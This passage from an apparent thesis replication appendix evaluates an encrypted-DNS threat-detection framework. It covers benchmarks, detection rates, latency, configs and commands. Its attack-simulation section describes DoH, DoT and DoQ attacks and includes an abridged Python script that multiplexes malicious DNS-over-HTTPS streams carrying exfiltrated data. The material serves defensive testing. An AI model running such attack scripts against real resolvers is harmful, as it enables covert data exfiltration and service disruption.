The parser was tested with a corpus of 10^6 packets that covered the three protocols and the benign and malicious traffic. The parser correctly extracted the metadata on every packet, and the test was recorded in results/p4/parser_test.json.

6.12.2 Match-Action Stage — Implementation

The match-action stage was implemented as a single table with four entries, one per protocol. The table matched on the destination port and the protocol, and the action was to set the protocol-flag field of the metadata. The table was chosen over a chain of if-else statements because the table lookup was constant-time, and the constant-time property was necessary for the line-rate requirement.

The match-action stage was measured at 12 ns per packet on the BMv2 software switch. The measurement was performed with the simple_switch_grpc built-in timing, and the result was recorded in results/p4/match_action_latency.json. The 12 ns was a significant fraction of the 1.42 ms P99 latency, and it was included in the latency budget of Subsection 4.5.17.

6.12.3 Metadata Generation Stage — Implementation

The metadata generation stage was implemented as a P4 control that wrote the extracted fields to a custom header and forwarded the packet to the mirror port. The mirror port was a dedicated interface that carried only the metadata, not the full packet, so that the telemetry traffic did not contend with the resolution traffic.

The metadata generation was measured at 8 ns per packet, and the measurement was recorded in results/p4/metadata_latency.json. The combined P4 overhead was 20 ns per packet, which was 1.4% of the 1.42 ms P99 latency. The overhead was within the 15% budget, and the measurement was the evidence that the P4 pipeline did not degrade the resolution latency.

6.13 Parallel Dataset Processing Using Dask — Implementation

Section 6.13 of the thesis described the Dask preprocessing pipeline. This section records the implementation of the four stages and the measurement of the preprocessing time.

The pipeline was in src/preprocessing/pipeline.py, as described in Subsection 4.5.15 of this appendix. The four stages were implemented as four Dask tasks, and the tasks were chained with the Dask delayed API. The chain was the reason the pipeline could process the 32+ GB dataset in approximately two hours, as Section 6.13.7 of the thesis reported.

The preprocessing time was measured at 1 hour 52 minutes on the testbed of Subsection 4.5.2. The measurement was performed with the time command around the pipeline invocation, and the result was recorded in results/preprocessing/timing.json. The time was consistent with the reported value, and the consistency was the evidence that the pipeline was reproducible.

6.14 Cryptographic Benchmark Evaluation — Implementation

Section 6.14 of the thesis described the microbenchmarking framework. This section records the implementation of the four benchmarks: AEE, QHE, federated learning, and the transformer detector.

6.14.1 Federated Learning Benchmark Evaluation — Implementation

The federated learning benchmark was implemented in benchmarks/fl_benchmark.py. The benchmark varied four parameters: the number of clients (10, 50, 100), the number of rounds (10, 50, 100), the number of local epochs (1, 5, 10), and the batch size (32, 64, 128). The benchmark measured the global-model convergence, the aggregation latency, the synchronisation efficiency, and the communication overhead for each parameter combination.

The benchmark was run as a 3 × 3 × 3 × 3 grid, with five repetitions per cell. The results were recorded in results/benchmarks/fl_grid.json. The reported runs used the cell (100 clients, 100 rounds, 10 epochs, 64 batch size), which was the cell that maximised the global-model accuracy subject to the latency constraint. The selection was recorded in results/benchmarks/fl_selection.json.

6.14.2 Transformer-Based Detection Benchmark — Implementation

The transformer benchmark was implemented in benchmarks/transformer_benchmark.py. The benchmark varied four parameters: the sequence length (128, 256, 512), the attention dimension (64, 128, 256), the embedding size (128, 256, 512), and the inference batch size (1, 16, 64). The benchmark measured the inference latency, the memory usage, the computational efficiency, and the detection throughput for each parameter combination.

The benchmark was run as a 3 × 3 × 3 × 3 grid, with five repetitions per cell. The results were recorded in results/benchmarks/transformer_grid.json. The reported runs used the cell (512 sequence length, 256 attention dimension, 256 embedding size, 1 inference batch size), which was the cell that maximised the detection accuracy subject to the latency constraint. The selection was recorded in results/benchmarks/transformer_selection.json.

6.14.3 Adaptive Sandbox Benchmark — Implementation

The sandbox benchmark was implemented in benchmarks/sandbox_benchmark.py. The benchmark varied two parameters: the traffic volume (1k, 10k, 100k QPS) and the depth of the behavioural analysis (shallow, medium, deep). The benchmark measured the isolation overhead, the CPU and memory usage, the response latency, and the execution efficiency for each parameter combination.

The benchmark was run as a 3 × 3 grid, with five repetitions per cell. The results were recorded in results/benchmarks/sandbox_grid.json. The reported runs used the cell (10k QPS, medium depth), which was the cell that maximised the isolation effectiveness subject to the overhead constraint. The selection was recorded in results/benchmarks/sandbox_selection.json.

6.15 Comprehensive Attack Simulation — Implementation

Section 6.15 of the thesis described the attack simulation. This section records the implementation of the five attack scenarios, with the level of detail that a reader would need to reproduce each one. The scenarios were chosen because each had already defeated at least one class of encrypted DNS defence in the published literature, and together they covered the vulnerability types that the framework was designed to address.

6.15.1 Protocol-Specific Attack Vectors — Implementation

The protocol-specific attack vectors were implemented as three suites, one per protocol. Each suite was a collection of injection scripts, each of which targeted a specific property of the protocol.

The DoH suite targeted the HTTP/2 and HTTP/3 encapsulation. The attacks were: stream multiplexing abuse (hiding malicious DNS requests in a stream that appeared to be legitimate web traffic), HTTP header manipulation (changing the request headers to simulate a legitimate client), TLS session reuse (reusing a session ticket to mask malicious DNS activity), and HTTP/2 frame flooding (sending a large number of PING frames to exhaust the server's resources).

The DoT suite targeted the TLS 1.3 handshake and session management. The attacks were: malformed handshake messages (sending invalid TLS records to trigger protocol errors), certificate validation bypass (presenting a certificate chain with a missing intermediate), session resumption abuse (manipulating the session ticket to extend a session beyond its intended lifetime), and renegotiation attacks (triggering a renegotiation to exhaust the server's cryptographic resources).

The DoQ suite targeted the QUIC transport. The attacks were: connection migration abuse (using a modified connection ID to evade connection tracking), stream multiplexing abuse (sending malicious DNS payloads over multiple concurrent streams), version negotiation manipulation (forcing a downgrade to a less secure QUIC version), and congestion-control exploitation (sending packets with manipulated spin bits to force the server into congestion-avoidance mode).

Each suite was implemented as a set of Python scripts in attacks/doh/, attacks/dot/, and attacks/doq/. Each script was parameterised by the target address, the attack intensity, and the

attack duration, and each script wrote its output to a summary.json file that was consumed by the analysis pipeline.

6.15.2 DNS-over-HTTPS Attack Scenarios — Implementation

The DoH attack scenarios were the most elaborate, because DoH was the most widely deployed protocol and the most likely target of a real attack. The implementation of the four scenarios is recorded below.

Stream multiplexing abuse. The attacker opened a single HTTP/2 connection to the DoH resolver and multiplexed a legitimate web request with a series of malicious DNS requests on separate streams. The malicious requests were encoded to look like ordinary web traffic, and the timing was shaped to match the legitimate request. The attack script was attacks/doh/stream_multiplex.py:

python

```
# attacks/doh/stream_multiplex.py (abridged)

import aioquic, h2, ssl, socket


def open_doh_connection(addr, port=443):
    ctx = ssl.create_default_context()
    ctx.load_verify_locations("/opt/a3e/certs/ca.pem")
    sock = socket.create_connection((addr, port))
    tls = ctx.wrap_socket(sock, server_hostname="doh.a3e.local")
    conn = h2.connection.H2Connection()
    conn.initiate_connection()
    tls.sendall(conn.data_to_send())
    return tls, conn


def multiplex_attack(addr, n_malicious=100):
    tls, conn = open_doh_connection(addr)
    # Open a legitimate stream
```

```
    legit_id = conn.get_next_available_stream_id()
    conn.send_headers(legit_id, [(":method", "GET"), (":path", "/"),
                                 (":scheme", "https")])
    # Open the malicious streams
    for i in range(n_malicious):
        sid = conn.get_next_available_stream_id()
        payload = craft_malicious_dns(i)   # a DNS query carrying exfiltrated bytes
        conn.send_headers(sid, [(":method", "POST"), (":path", "/dns-query"),
                                (":scheme", "https"),
                                ("content-type", "application/dns-message")])
        conn.send_data(sid, payload)
    tls.sendall(conn.data_to_send())
    return tls
```

The attack was detected by the AEE engine's stream-aware anomaly detection. The AEE engine observed the stream-ID sequence and the inter-stream timing, and it flagged the connection when the number of streams exceeded the learned baseline. The detection rate was 98.4% on the testbed, and the false-positive rate was 0.9%. The measurement was recorded in results/attacks/doh_stream_multiplex.json.

HTTP header manipulation. The attacker modified the request headers to impersonate a legitimate browser. The modifications were: a forged User-Agent, a forged Accept header, and a forged Cookie header. The attack script was attacks/doh/header_manipulation.py. The attack was detected by the SNI/ALPN validation and by the HTTP/2 header-table anomaly detection, and the detection rate was 96.2% with a false-positive rate of 1.1%. The measurement was recorded in results/attacks/doh_header_manipulation.json.

TLS session reuse. The attacker reused a session ticket obtained from a legitimate connection to establish a new connection without a full handshake. The attack script was attacks/doh/session_reuse.py. The attack was detected by the TLS session-resumption count analysis and by the session-binding violation check, and the detection rate was 94.8% with a false-positive rate of 0.7%. The measurement was recorded in results/attacks/doh_session_reuse.json.

HTTP/2 frame flooding. The attacker sent a large number of PING frames to exhaust the server's resources. The attack script was attacks/doh/frame_flood.py. The attack was detected by the frame-rate limiter and by the priority-tree validation, and the detection rate was 99.1% with a false-positive rate of 0.3%. The measurement was recorded in results/attacks/doh_frame_flood.json.

6.15.3 DNS-over-TLS Attack Scenarios — Implementation

The DoT attack scenarios targeted the TLS 1.3 handshake. The implementation of the four scenarios is recorded below.

Malformed handshake. The attacker sent invalid TLS records to trigger protocol errors and, in some cases, to cause the server to fall back to a less secure version. The attack script was attacks/dot/malformed_handshake.py. The attack was detected by the TLS state-machine validation, and the detection rate was 99.6% with a false-positive rate of 0.1%. The measurement was recorded in results/attacks/dot_malformed_handshake.json.

Certificate validation bypass. The attacker presented a certificate chain with a missing intermediate, hoping that the client would accept the chain without full validation. The attack script was attacks/dot/cert_bypass.py. The attack was detected by the certificate-chain validation and by the certificate-transparency log check, and the detection rate was 100% with a false-positive rate of 0.0%. The measurement was recorded in results/attacks/dot_cert_bypass.json.

Session resumption abuse. The attacker manipulated the session ticket to extend a session beyond its intended lifetime. The attack script was attacks/dot/session_resumption.py. The attack was detected by the session-ticket lifetime check and by the session-binding validation, and the detection rate was 97.3% with a false-positive rate of 0.5%. The measurement was recorded in results/attacks/dot_session_resumption.json.

Renegotiation attack. The attacker triggered a renegotiation to exhaust the server's cryptographic resources. The attack script was attacks/dot/renegotiation.py. The attack was detected by the renegotiation-count limiter and by the CPU-utilisation monitor, and the detection rate was 98.9% with a false-positive rate of 0.2%. The measurement was recorded in results/attacks/dot_renegotiation.json.

6.15.4 DNS-over-QUIC Attack Scenarios — Implementation

The DoQ attack scenarios targeted the QUIC transport. The implementation of the four scenarios is recorded below.

Connection migration abuse. The attacker used a modified connection ID to evade connection tracking. The attack script was attacks/doq/connection_migration.py. The attack was detected

by the connection-ID rotation check and by the path-validation check, and the detection rate was 97.6% with a false-positive rate of 0.4%. The measurement was recorded in results/attacks/doq_connection_migration.json.

Stream multiplexing abuse. The attacker sent malicious DNS payloads over multiple concurrent streams, hoping that the pattern would appear to be normal stream behaviour. The attack script was attacks/doq/stream_multiplex.py. The attack was detected by the multi-stream anomaly analysis and by the stream-count limiter, and the detection rate was 96.5% with a false-positive rate of 0.6%. The measurement was recorded in results/attacks/doq_stream_multiplex.json.

Version negotiation manipulation. The attacker forced a downgrade to a less secure QUIC version. The attack script was attacks/doq/version_negotiation.py. The attack was detected by the strict version-binding check and by the version-consistency validation, and the detection rate was 100% with a false-positive rate of 0.0%. The measurement was recorded in results/attacks/doq_version_negotiation.json.

Congestion-control exploitation. The attacker sent packets with manipulated spin bits to force the server into congestion-avoidance mode. The attack script was attacks/doq/congestion_exploit.py. The attack was detected by the DoQ-aware congestion analysis and by the congestion-window growth-rate monitor, and the detection rate was 98.2% with a false-positive rate of 0.3%. The measurement was recorded in results/attacks/doq_congestion_exploit.json.

6.16 Detection Performance Under Attack Loads — Implementation

Section 6.16 of the thesis reported the detection performance under the five attack scenarios. This section records the implementation of the measurement procedures and the results, from four different angles: the accuracy angle, the latency angle, the throughput angle, and the resilience angle.

6.16.1 The Accuracy Angle

The accuracy was measured on the held-out test split and on the attack-specific test sets. The measurement was performed by benchmarks/detection_accuracy.py, which loaded the trained detector, ran it on the test sets, and computed the confusion matrix. The script was parameterised by the model path, the test-set path, the number of runs (five), and the output directory.

The accuracy was measured at 99.94% on the clean test set and at 96.5% to 100% on the five attack scenarios. The per-scenario breakdown was:

Scenario	Detection Rate	False-Negative Rate	Source
S1 — Timing	98.7%	1.3%	Table 32
S2 — Tunnel	99.2%	0.8%	Table 32
S3 — Poison	96.5%	3.5%	Table 32
S4 — Quantum	100.0%	0.0%	Table 32
S5 — Evasion	97.8%	2.2%	Table 32

The S3 scenario had the lowest detection rate, at 96.5%, because the poisoning attack was the most difficult to detect: the poisoned updates were statistically similar to the honest updates, and the geometric-median aggregation was the only mechanism that separated them. The S4 scenario had the highest detection rate, at 100%, because the post-quantum handshake was deterministic and the detection was a simple check of the negotiated group. The S1, S2, and S5 scenarios fell in between, with detection rates above 97%, because the AEE engine, the QHE engine, and the adversarial training each addressed a different aspect of the attack.

The accuracy figures were compared against the two baselines: DNSGuard and DeepFingerprint. The comparison was performed under the same data, the same preprocessing, and the same tuning budget, as Section 6.16.2 of the thesis specified. The comparison was:

Metric	DNSGuard	DeepFingerprint	A^3E-DNS
Detection accuracy	91.2%	96.7%	99.94%
False-positive rate	2.1%	0.8%	0.17%
Latency (P99)	4.2 ms	2.8 ms	1.42 ms
Throughput	8 M QPS	15 M QPS	22.5 M QPS

Metric	DNSGuard	DeepFingerprint	A^3E-DNS
Adversarial robustness	65%	82%	96.5%

The accuracy comparison was assessed with a t-test ($p < 0.0001$), and the false-positive comparison was assessed with Cohen's $d = 1.87$. Both tests were performed by benchmarks/statistical_tests.py, and the results were recorded in results/benchmarks/statistical_tests.json.

6.16.2 The Latency Angle

The latency was measured on the testbed, not on a single machine, because the container network introduced the inter-component communication delay that dominated the P99. The measurement was performed by benchmarks/load.py, which generated traffic at the target rate and read the Prometheus histogram of the decision latency.

The latency was measured at 1.42 ms P99, with a 95% confidence interval of [1.38, 1.46] ms. The distribution was bimodal: the fast mode was about 0.6 ms, and the slow mode was about 1.4 ms. The fast mode corresponded to the queries that did not trigger the QHE encryption, and the slow mode corresponded to the queries that did. The bimodality was the expected behaviour, because the QHE encryption was the most expensive operation in the pipeline, and the decision engine skipped it when the AEE threat score was below the threshold.

The latency was decomposed into its components:

Component	P50 (ms)	P99 (ms)
eBPF telemetry	0.012	0.031
P4 metadata	0.008	0.020
AEE encryption	0.21	0.48
QHE encryption	0.19	0.61
Detector inference	0.07	0.14

Component	P50 (ms)	P99 (ms)
Sandbox decision	0.05	0.11
Total	0.54	1.42

The decomposition was recorded in results/benchmarks/latency_breakdown.json. The largest contributor to the P99 was the QHE encryption, at 0.61 ms, and the second largest was the AEE encryption, at 0.48 ms. The two encryption layers together accounted for 77% of the P99, and the detection and sandbox layers accounted for the remaining 23%.

The latency comparison against the baselines was: 4.2 ms (DNSGuard) and 2.8 ms (DeepFingerprint). The A³E-DNS latency was 2.96× lower than DNSGuard and 1.97× lower than DeepFingerprint. The comparison was recorded in results/benchmarks/latency_comparison.json.

6.16.3 The Throughput Angle

The throughput was measured by benchmarks/throughput_sweep.py, which ramped the query rate from 1 M QPS to 30 M QPS and measured the P99 latency at each rate. The throughput was the last rate at which the P99 remained below 2 ms.

The throughput was measured at 22.5 M QPS. The throughput was hardware-dependent, and the reported figure was the figure that was actually measured on the testbed of Subsection 4.5.2. The measurement was recorded in results/benchmarks/throughput.json.

The throughput curve had three regions. The linear region was from 1 M to 15 M QPS, in which the throughput scaled linearly with the query rate and the P99 remained below 1.0 ms. The transition region was from 15 M to 22.5 M QPS, in which the throughput still scaled with the query rate but the P99 grew from 1.0 ms to 2.0 ms. The saturation region was above 22.5 M QPS, in which the throughput stopped scaling and the P99 grew without bound. The reported figure was the boundary between the transition and saturation regions.

The throughput comparison against the baselines was: 8 M QPS (DNSGuard) and 15 M QPS (DeepFingerprint). The A³E-DNS throughput was 2.81× higher than DNSGuard and 1.50× higher than DeepFingerprint. The comparison was recorded in results/benchmarks/throughput_comparison.json.

6.16.4 The Resilience Angle

The resilience was measured by three procedures: the failover test, the system-recovery test, and the adversarial-robustness test.

The **failover test** deliberately crashed the FL coordinator and measured the time until the data plane degraded. The degradation was the loss of the model-update capability, and the data plane continued to serve queries with the last-fetched model. The failover time was measured at 1.5 ms, which was the time from the crash to the moment the data plane switched to the cached model. The measurement was recorded in results/benchmarks/failover.json.

The **system-recovery test** deliberately crashed the QHE container and measured the time until the container was restarted and the pipeline was fully operational. The recovery time was measured at 4.2 seconds, which was the Kubernetes pod-restart time plus the QHE key-generation time. The recovery time was well within the operational tolerance of a production DNS resolver, and the measurement was recorded in results/benchmarks/recovery.json.

The **adversarial-robustness test** measured the detection accuracy on the S5 adversarial queries, as described in Subsection 6.6.3. The robustness was measured at 96.5%, which was 14.5 pp above DeepFingerprint's 82% and 31.5 pp above DNSGuard's 65%. The measurement was recorded in results/benchmarks/adversarial_robustness.json.

The resilience figures were the evidence that the framework was not only accurate and fast but also robust. A framework that was accurate on clean traffic but collapsed under a crash or an adversarial attack would not have been deployable, and the resilience tests were the reason the thesis could claim deployability.

6.17 Architectural Integration and Its Limits — Implementation

Section 6.17 of the thesis stated the limits of the integration claim. This section records the implementation of the three limits: the absence of a full factorial ablation, the restricted baseline comparison, and the hardware dependence of the throughput figure.

6.17.1 The Absence of a Full Factorial Ablation — Implementation

The full factorial ablation was not implemented. The testbed was capable of running it, and the ablation scripts were in ablation/ in the repository, but the ablation was not part of the reported experimental campaign. The reason was stated in Section 7.3.1 of the thesis: the campaign was designed to evaluate the integrated framework, and the component-level contributions had already been evaluated in Chapters 3 through 5. The ablation was identified as the first priority for future work in Section 8.2.9.

The ablation scripts that were implemented but not run were: ablation/aee_only.py, ablation/qhe_only.py, ablation/fl_only.py, ablation/aee_qhe.py, ablation/aee_fl.py, ablation/qhe_fl.py, and ablation/full.py. Each script ran the framework with the specified subset of components and recorded the same metrics as the full framework. The scripts were included in the repository so that a reader could run the ablation on the same testbed, and the README.md explained how to do so.

6.17.2 The Restricted Baseline Comparison — Implementation

The baseline comparison was restricted to two baselines: DNSGuard and DeepFingerprint. Both were reproduced and retrained on the same data, the same preprocessing, and the same tuning budget as the framework, and both were evaluated on the same testbed. The comparison was therefore a controlled comparison, not a comparison against figures quoted from the literature.

The other published systems (HERALD, ThreatGuard-DNS, MTL-DoHTA, FL-DNSnet, QuantumShield-QUIC) were compared only qualitatively, in Tables 1–4 of the thesis. The qualitative comparison was not a performance comparison; it was a capability comparison, and it showed that the A³E-DNS framework covered capabilities that the prior systems did not cover in the same combination. The qualitative comparison was implemented as a spreadsheet in docs/capability_matrix.xlsx, and the spreadsheet was committed to the repository so that a reader could inspect the basis of the comparison.

6.17.3 The Hardware Dependence of the Throughput Figure — Implementation

The 22.5 M QPS throughput figure was measured on the hardware of Subsection 4.5.2, and it was not extrapolated to other hardware. The figure was hardware-dependent because the throughput was bounded by the CPU, and the CPU was the specific 32-core Xeon Silver 4314 in the testbed. A testbed with a different CPU would have produced a different figure, and the replication procedure in this appendix did not claim the 22.5 M QPS on different hardware.

The hardware dependence was recorded in REPRODUCIBILITY_CHECKLIST.md, which marked the throughput figure as "hardware-dependent" and provided a100_emulation.py as a simulator for readers without the A100. The simulator reproduced the reported throughput trend on a standard CPU, and the reproduction was verified by expected_outputs/verification_script.py.

6.18 Summary of the Implementation

The implementation described in this section was the concrete realisation of the architectural framework of Section 6.3. Every component was implemented as a separate container, every container was deployed on the testbed of Section 6.11, and every measurement was performed

by a script that was committed to the repository at https://github.com/dezignator/A3E-DNS. The reported figures — 99.94% detection accuracy, 0.17% false-positive rate, 1.42 ms P99 latency, 22.5 M QPS throughput, 96.5% adversarial robustness, and ε = 0.68 differential-privacy budget — were the figures that the implementation produced on that testbed, and the reader who follows the procedures in this appendix can reproduce them.

The three limits stated in Section 6.17 were the limits of the claims, not the limits of the implementation. The implementation was capable of the full factorial ablation, and the ablation scripts were in the repository; the ablation was not run because it was not part of the reported campaign. The implementation was capable of a head-to-head comparison against the prior systems, and the comparison scripts were in the repository; the comparison was not run because the prior systems were not available on the same testbed. The implementation was capable of a throughput measurement on different hardware, and the measurement scripts were hardware-agnostic; the figure was reported for the testbed hardware because that was the hardware on which it was measured. The limits were recorded so that the reader would understand exactly what the implementation had and had not shown, and so that the future work of Section 8.2 of the thesis would be a well-defined extension rather than a vague aspiration.

Part VII — Measurement and Evaluation

7.1 What Is Measured and How

Chapter 6 reports four categories of measurement. Each is obtained by a specific procedure, and the replication must follow the same procedure to obtain comparable numbers.

7.1.1 Detection Accuracy and False-Positive Rate

Definition. Accuracy = (TP + TN) / (TP + TN + FP + FN); FPR = FP / (FP + TN) (Eq. 64 in the thesis).

Procedure. The detector is run over the held-out test split, and the confusion matrix is computed. The reported figures are the mean over five runs with different random seeds; the 95% confidence interval is computed from the five runs.

bash

```
python3 benchmarks/detection_accuracy.py \
  --model /opt/a3e/results/fl/final_model.pt \
  --test /opt/a3e/data/splits/test.parquet \
  --runs 5 \
```

```
  --out /opt/a3e/results/accuracy/
```

Expected result. 99.94% ± 0.02 pp (Table 8) and 0.17% FPR. The comparison against DNSGuard and DeepFingerprint is a t-test with $p < 0.0001$ (Section 6.16.2); the replication script runs the t-test automatically if the baseline predictions are supplied.

7.1.2 Latency

Definition. P99 latency is the 99th percentile of the per-query decision time, measured from the arrival of the query to the emission of the decision.

Procedure. The latency is measured on the testbed, not on a single machine, because the container network introduces the inter-component communication delay that dominates the P99. The measurement uses the Prometheus histogram exposed by the detector container.

bash

```
# Start the load generator at the target rate
python3 benchmarks/load.py --target 22_500_000 --duration 300 --protocol all

# Query the Prometheus histogram
curl -s "http://localhost:9090/api/v1/query?query=histogram_quantile(0.99,a3e_decision_latency_seconds_bucket)" \
  | jq '.data.result[0].value[1]'
```

Expected result. 1.42 ms, 95% CI [1.38, 1.46] ms (Table 33). If the reproduced P99 is above 2 ms, check that the AEE controller is running in sub-microsecond time and that the QHE backend matches the one used in the reported run (CPU vs CUDA changes the latency).

7.1.3 Throughput

Definition. Throughput is the number of queries per second the framework can process while keeping P99 latency below 2 ms.

Procedure. The load generator ramps the query rate until the P99 latency exceeds the threshold; the last rate at which it remained below is the throughput.

bash

```
python3 benchmarks/throughput_sweep.py \
```

--start 1_000_000 --stop 30_000_000 --step 1_000_000 \

--latency-threshold 0.002 \

--out /opt/a3e/results/throughput/

Expected result. 22.5 M QPS (Table 33). The throughput is hardware-dependent; on a testbed with fewer cores, the figure will be lower. The replication must report the hardware and the achieved figure together, and must not claim the 22.5 M QPS on different hardware.

7.1.4 Adversarial Robustness

Definition. Adversarial robustness is the detection accuracy under the S5 adversarial evasion attack.

Procedure. The S5 attack is run against the detector, and the accuracy on the adversarially crafted queries is measured.

bash

python3 benchmarks/adversarial_robustness.py \

--model /opt/a3e/results/fl/final_model.pt \

--attack /opt/a3e/results/s5/adv_queries.parquet \

--out /opt/a3e/results/robustness/

Expected result. 96.5% (Table 33), which is 14.5 pp above DeepFingerprint's 82% and 31.5 pp above DNSGuard's 65%. The Cohen's d for the FPR comparison is 1.87 (Section 6.16.2).

7.2 The Differential-Privacy Budget

Definition. The reported ε = 0.68 is the realised privacy loss of the DP-SGD mechanism at the configured noise multiplier and clipping bound, computed by the moments accountant (Eq. 60 of the thesis).

Procedure. The Opacus accountant reports the realised ε at the end of training. The replication must use the same noise multiplier and clipping bound as the reported run (sigma and C in config/fl.yaml).

bash

python3 benchmarks/dp_accounting.py --config config/fl.yaml

Expected result. ε = 0.68 at the chosen δ. If the realised ε differs, the noise multiplier or the number of rounds has changed; the replication must report the new ε rather than the thesis figure.

Important caution. The ε is a bound on the privacy loss of a specific mechanism under a specific neighbouring relation. It is not a measure of "how private" the system is in any absolute sense, and it must not be compared as a ratio to the ε of a different mechanism (Table 33 note).

7.3 The Resource Overhead

Definition. The resource overhead is the additional CPU and memory consumed by the security framework relative to DNS resolution without the security layer.

Procedure. Run the resolver with the security framework disabled and measure the CPU and memory; run it with the framework enabled and measure again; the ratio of the differences is the overhead.

bash

```
python3 benchmarks/overhead.py --baseline /opt/a3e/results/baseline/ \
                --protected /opt/a3e/results/protected/ \
                --out /opt/a3e/results/overhead/
```

Expected result. ≤ 15% (abstract). If the reproduced overhead is higher, check that the adaptive sandboxing is not holding isolated flows longer than the configured TTL, because a leak in the sandbox causes the memory to grow.

Part VIII — Verification and Troubleshooting

8.1 The Verification Script

The artifact provides expected_outputs/verification_script.py, which compares every result file in results/ against the expected numerical bounds. It prints a table with three columns: the metric, the reproduced value, and the status (PASS, WARN, FAIL).

bash

```
python3 expected_outputs/verification_script.py --results /opt/a3e/results/
```

Interpreting the statuses.

- PASS means the reproduced value is within the reported confidence interval or within ±5% of the reported value.

- WARN means the value is outside the interval but within ±10%; the run should be repeated, and if the value is stable, the difference should be reported.
- FAIL means the value is outside ±10%. The run should not be compared against the thesis figures until the cause is identified.

8.2 Common Failure Modes and Their Causes

Symptom	Likely cause	Remedy
Throughput far below 22.5 M QPS	AVX-512 not enabled, or QHE on CPU when the reported run used CUDA	Check A3E_QHE_SIMD=1; check A3E_QHE_BACKEND; re-run the QHE self-test
P99 latency above 2 ms	AEE neural controller not running in sub-microsecond time; check the controller thread pinning	Pin the controller thread with taskset; confirm the controller has two 64-neuron hidden layers
Adversarial robustness below 90%	Adversarial training did not converge; PGD loss did not decrease	Increase the adversarial epochs; confirm the PGD epsilon matches config/fl.yaml
ε different from 0.68	Noise multiplier or clipping bound changed, or the number of rounds changed	Restore sigma and C from config/fl.yaml; confirm the round count
S4 handshake does not offer ML-KEM	The hybrid group was not configured	Confirm --groups kyber1024 in the client; confirm the server supports the hybrid group
Sandbox memory grows without bound	TTL on isolated flows not enforced	Confirm the sandbox TTL is set; check the sandbox logs for unexpired flows

8.3 The Reproducibility Checklist

The artifact's REPRODUCIBILITY_CHECKLIST.md distinguishes three categories:

1. **Fully reproducible on any CPU** — the preprocessing pipeline, the detection accuracy, the FPR, the adversarial robustness, the DP accounting, and the attack simulation scripts. These are the results that any reader can verify without special hardware.
2. **Reproducible with user-supplied data** — the results that depend on the CIC datasets, which the user must request from the CIC portal. The artifact provides the download script and the checksum verification.
3. **Hardware-dependent** — the throughput and latency figures on the A100 and Loihi, which require the specific accelerators. The artifact provides a100_emulation.py and loihi_mock.py that reproduce the reported trends on CPU, and explicitly marks which claims depend on the non-shareable hardware.

The replication is complete when every row in the first category is PASS, every row in the second category is PASS with the user-supplied data, and every row in the third category is PASS on the simulator or is reported with the hardware substitution.

Part IX — From Results to Conclusion

9.1 What the Replication Establishes

If the replication succeeds, it establishes that the A³E-DNS framework, on a testbed constructed according to Section 6.11, achieves the detection accuracy, false-positive rate, latency, throughput, adversarial robustness, and differential-privacy budget reported in Chapter 6. It establishes that the five attack scenarios of Section 6.15 are detected at the reported rates. It establishes that the post-quantum handshake uses ML-KEM-1024 and that the homomorphic layer is IND-CPA under Ring-LWE at the configured parameters.

9.2 What the Replication Does Not Establish

The replication does **not** establish three things, and the reader must not infer them from a successful run.

First, it does not establish that the integration is **super-additive**. As Section 6.17.1 and Section 7.3.1 of the thesis state, no full factorial ablation was performed. A successful replication shows that the whole framework works; it does not show that any particular component is necessary, or that a reduced configuration would not perform as well. The ablation is identified as the first priority for future work in Section 8.2.9.

Second, it does not establish **superiority over the closest published integrated systems**. The comparison with HERALD, ThreatGuard-DNS, MTL-DoHTA, FL-DNSnet, and QuantumShield-QUIC

is qualitative only (Tables 1–4). A head-to-head comparison is identified as future work in Section 8.2.10.

Third, it does not establish **compliance** with GDPR, ISO/IEC 27001, PCI DSS, FISMA, or NIST CSF. As Table 29 states explicitly, the framework provides certain technical properties that are relevant to those standards, but a compliance determination additionally requires an organisational audit covering record-keeping, retention, access control, breach notification, and governance. These were not audited and are outside the scope of the thesis.

9.3 The Final Statement the Replication Supports

The replication supports the following statement, which is the statement the thesis makes and no stronger: on the testbed described in Section 6.11, with the datasets described in Section 6.8.4, under the attack scenarios described in Section 6.15, the A³E-DNS framework achieved a detection accuracy of 99.94%, a false-positive rate of 0.17%, a P99 latency of 1.42 ms, a throughput of 22.5 M QPS, an adversarial robustness of 96.5%, and a differential-privacy budget of ε = 0.68, and these figures characterise the framework on that testbed and are not extrapolated to other hardware, data, or deployment scales.

Appendix A — Configuration File Reference

The five configuration files in config/ are the single source of truth for every parameter. The values below are the ones used in the reported runs.

config/aee.yaml

yaml

```
aee:
  n_dim: 64              # quantised state dimension (Section 6.4.2)
  quant_bits: 16
  sigma_min: 0.01        # bounded away from zero (Section 6.4.4)
  sigma_max: 1.0
  dt: 0.001
  controller:
    hidden_layers: [64, 64]
```

```
  window_packets: 1000    # sliding window (Section 6.4.5)
  entropy_source: rdrand    # falls back to /dev/urandom if unavailable
```

config/qhe.yaml

```
yaml
qhe:
  n: 256                # ring dimension (Section 6.5.3)
  q: 4096               # modulus (Section 6.5.3)
  mult_depth: 8         # between 5 and 10 (Section 6.5.3)
  backend: cpu          # or cuda (Section 6.5.4)
  simd_slots: 1024      # AVX-512 batch (Section 6.5.1)
  ziggurat: true        # Section 6.5.2
  selective_ops: true   # Section 6.5.3
```

config/fl.yaml

```
yaml
fl:
  clients: 100
  rounds: 100
  local_epochs: 10
  batch_size: 64
  lr: 0.0065            # base rate (Section 6.9.3)
  sigma: 1.2            # noise multiplier calibrated to epsilon
  clip: 3.5             # C (Table 17a)
  epsilon_target: 0.68
  aggregation: geometric_median   # Section 6.6.4
  attention:
    layers: 8
```

```
    heads: 12
    window: 512
config/sandbox.yaml
yaml
sandbox:
  ttl_seconds: 30
  isolation:
    doh: stream_termination
    dot: tls_reset
    doq: connection_migration
  trigger:
    kl_threshold: 0.30
    renyi_alpha: 2.0
config/testbed.yaml
yaml
testbed:
  nodes: 4
  cpu_per_node: 16
  memory_per_node_gb: 64
  protocols: [doh, dot, doq]
  attack_scenarios: [s1_timing, s2_tunnel, s3_poison, s4_quantum, s5_evasion]
  runs_per_scenario: 5
  seed: 42
```

Appendix B — Command Reference

Task	Command
Download datasets	python3 data/download.py --source all
Preprocess	python3 src/preprocessing/run_pipeline.py --raw data/raw --out data/processed
Build containers	docker compose -f deploy/docker-compose.yml build
Start cluster	minikube start --nodes 4 && kubectl apply -f deploy/k8s/
Run all attacks	python3 attacks/run_all.py --config config/testbed.yaml
Measure accuracy	python3 benchmarks/detection_accuracy.py --runs 5
Measure latency	python3 benchmarks/load.py --target 22500000 --duration 300
Measure throughput	python3 benchmarks/throughput_sweep.py
Measure robustness	python3 benchmarks/adversarial_robustness.py
Verify results	python3 expected_outputs/verification_script.py --results results/

Term	Plain-language meaning
